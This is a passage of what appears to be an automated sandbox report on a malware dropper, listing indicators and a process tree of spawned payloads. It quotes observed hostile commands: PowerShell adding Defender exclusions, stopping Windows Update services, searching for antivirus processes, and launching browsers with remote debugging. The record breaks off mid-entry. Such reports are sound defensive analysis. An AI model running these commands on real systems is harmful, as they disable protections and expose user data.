4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe
4696	main.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2516	4363463463464363463463463.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
4664	Gwogw.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe

Suspicious behavior: SetClipboardViewer 3 IoCs

pid	Process
5012	sysklnorbcv.exe
3824	sysvplervcs.exe
1708	sysnldcvmr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	4363463463464363463463463.exe
Token: SeDebugPrivilege	1860	tasklist.exe
Token: SeDebugPrivilege	2512	tasklist.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeDebugPrivilege	380	Statement-415322024.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe
Token: SeShutdownPrivilege	5024	chrome.exe
Token: SeCreatePagefilePrivilege	5024	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
3080	server.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
740	Possibly.pif
740	Possibly.pif
740	Possibly.pif
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
3080	server.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe
4412	dwm.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3080	server.exe
3080	server.exe
900	svchost.exe
2128	rhsgn_protected.exe
1884	winrar-x64-701ru.exe
1884	winrar-x64-701ru.exe
1884	winrar-x64-701ru.exe
3616	ipscan221.exe
3616	ipscan221.exe
5300	me.exe
5300	me.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	78
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	78
PID 2516 wrote to memory of 1928	2516	4363463463464363463463463.exe	78
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	79
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	79
PID 1928 wrote to memory of 3472	1928	ConsiderableWinners.exe	79
PID 3472 wrote to memory of 1860	3472	cmd.exe	81
PID 3472 wrote to memory of 1860	3472	cmd.exe	81
PID 3472 wrote to memory of 1860	3472	cmd.exe	81
PID 3472 wrote to memory of 1076	3472	cmd.exe	82
PID 3472 wrote to memory of 1076	3472	cmd.exe	82
PID 3472 wrote to memory of 1076	3472	cmd.exe	82
PID 3472 wrote to memory of 2512	3472	cmd.exe	84
PID 3472 wrote to memory of 2512	3472	cmd.exe	84
PID 3472 wrote to memory of 2512	3472	cmd.exe	84
PID 3472 wrote to memory of 2684	3472	cmd.exe	85
PID 3472 wrote to memory of 2684	3472	cmd.exe	85
PID 3472 wrote to memory of 2684	3472	cmd.exe	85
PID 3472 wrote to memory of 4636	3472	cmd.exe	86
PID 3472 wrote to memory of 4636	3472	cmd.exe	86
PID 3472 wrote to memory of 4636	3472	cmd.exe	86
PID 3472 wrote to memory of 4424	3472	cmd.exe	87
PID 3472 wrote to memory of 4424	3472	cmd.exe	87
PID 3472 wrote to memory of 4424	3472	cmd.exe	87
PID 3472 wrote to memory of 3288	3472	cmd.exe	88
PID 3472 wrote to memory of 3288	3472	cmd.exe	88
PID 3472 wrote to memory of 3288	3472	cmd.exe	88
PID 3472 wrote to memory of 740	3472	cmd.exe	89
PID 3472 wrote to memory of 740	3472	cmd.exe	89
PID 3472 wrote to memory of 5068	3472	cmd.exe	90
PID 3472 wrote to memory of 5068	3472	cmd.exe	90
PID 3472 wrote to memory of 5068	3472	cmd.exe	90
PID 5024 wrote to memory of 1872	5024	chrome.exe	94
PID 5024 wrote to memory of 1872	5024	chrome.exe	94
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95
PID 5024 wrote to memory of 4688	5024	chrome.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2264
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  PID:4220

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3336
- C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
  "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Users\Admin\AppData\Local\Temp\Files\ConsiderableWinners.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ConsiderableWinners.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Dk Dk.cmd & Dk.cmd & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3472
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1076
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe ekrn.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
        5⤵
        
        PID:2684
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 217412
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4636
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "PlasmaProfessionalConstitutesGuide" Cheaper
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Mailing + Violin + Ethernet + Operated + Lunch + Useful 217412\N
        5⤵
        
        PID:3288
    - - C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
        
        Possibly.pif N
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:740
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:5068
- - C:\Users\Admin\AppData\Local\Temp\Files\Statement-415322024.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Statement-415322024.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:380
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 380 -s 964
      4⤵
      Program crash
      PID:836
- - C:\Users\Admin\AppData\Local\Temp\Files\s.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
    3⤵
    - Executes dropped EXE
    PID:4272
- - C:\Users\Admin\AppData\Local\Temp\Files\server.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\server.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:3080
- - C:\Users\Admin\AppData\Local\Temp\Files\1_encoded.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\1_encoded.exe"
    3⤵
    - Executes dropped EXE
    PID:1572
- - C:\Users\Admin\AppData\Local\Temp\Files\msf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\msf.exe"
    3⤵
    - Executes dropped EXE
    PID:1068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1068 -s 1212
      4⤵
      Program crash
      PID:4520
- - C:\Users\Admin\AppData\Local\Temp\Files\DecryptJohn.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\DecryptJohn.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:3716
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      4⤵
      PID:424
- - C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    PID:2112
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      PID:3868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:4800
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:336
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2916
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4700
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2340
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:4432
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:4180
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:1812
    - - C:\Users\Admin\AppData\Local\Temp\931427072.exe
        
        C:\Users\Admin\AppData\Local\Temp\931427072.exe
        5⤵
        Executes dropped EXE
        
        PID:4276
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:2880
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:4696
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:3020
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:2480
    - - C:\Users\Admin\AppData\Local\Temp\2667518541.exe
        
        C:\Users\Admin\AppData\Local\Temp\2667518541.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3724
    - - C:\Users\Admin\AppData\Local\Temp\3311910624.exe
        
        C:\Users\Admin\AppData\Local\Temp\3311910624.exe
        5⤵
        Executes dropped EXE
        
        PID:1824
      - C:\Users\Admin\AppData\Local\Temp\1214336818.exe
        
        C:\Users\Admin\AppData\Local\Temp\1214336818.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        
        PID:4228
- - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    PID:4056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      PID:3508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd0d13cc40,0x7ffd0d13cc4c,0x7ffd0d13cc58
        5⤵
        
        PID:3740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:4556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd0d163cb8,0x7ffd0d163cc8,0x7ffd0d163cd8
        5⤵
        
        PID:760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        5⤵
        
        PID:1804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 /prefetch:3
        5⤵
        
        PID:2204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2600 /prefetch:8
        5⤵
        
        PID:3704
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1900 /prefetch:2
        5⤵
        
        PID:3064
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2376 /prefetch:2
        5⤵
        
        PID:4540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2260 /prefetch:2
        5⤵
        
        PID:3404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2200 /prefetch:2
        5⤵
        
        PID:3976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2164 /prefetch:2
        5⤵
        
        PID:2308
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2164 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1888,17965663435079314817,11607132221879763537,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4480 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
